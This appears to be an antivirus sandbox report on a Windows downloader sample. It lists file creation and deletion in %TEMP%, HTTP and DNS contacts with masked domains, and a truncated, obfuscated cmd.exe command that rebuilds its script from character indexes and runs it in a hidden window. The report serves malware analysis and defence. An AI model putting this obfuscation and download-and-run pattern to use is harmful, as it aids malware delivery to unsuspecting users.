Technical Information
Malicious functions
Downloads and executes files.
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' \c %ProgramData:~0,1%%ProgramData:~9,2% \V:O\C"set yN5G=AwPRfwcPaTUAjiTLjjCDCH-N=WzVBgS9})7F\+v:kdKp\3xqnG$om.slIZe10'b(@Eu yh{8,tY;rMOJ&&for %W in (50;27;28;57;24;61;41;20;23;61;75;50;65;54;13...
Modifies file system
Creates the following files
- %TEMP%\897.exe
Deletes the following files
- %TEMP%\897.exe
Network activity
Connects to
- 'tw##m.com':80
- 'ka####engganis.com':80
- 'ka####engganis.com':443
- 'bn##l.net':80
- 'de#.#ajur.com':80
TCP
HTTP GET requests
- http://tw##m.com/IsvlxHU
- http://ka####engganis.com/dNCOd9BFwP
- http://bn##l.net/JIN1P3qE7T
- http://de#.#ajur.com/pVc0MkrUF
- http://de#.#ajur.com/404.html
Other
- 'ka####engganis.com':443
UDP
- DNS ASK tw##m.com
- DNS ASK ka####engganis.com
- DNS ASK bn##l.net
- DNS ASK de#.#ajur.com
- DNS ASK he######.efront-dev.com.au
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' \c %ProgramData:~0,1%%ProgramData:~9,2% \V:O\C"set yN5G=AwPRfwcPaTUAjiTLjjCDCH-N=WzVBgS9})7F\+v:kdKp\3xqnG$om.slIZe10'b(@Eu yh{8,tY;rMOJ&&for %W in (50;27;28;57;24;61;41;20;23;61;75;50;65;54;13...' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' /V:O/C"set yN5G=AwPRfwcPaTUAjiTLjjCDCH-N=WzVBgS9})7F\+v:kdKp/3xqnG$om.slIZe10'b(@Eu yh{8,tY;rMOJ&&for %W in (50;27;28;57;24;61;41;20;23;61;75;50;65;54;13;24;48;58;5;22;51;62;17;58;6;73;67;23;58...
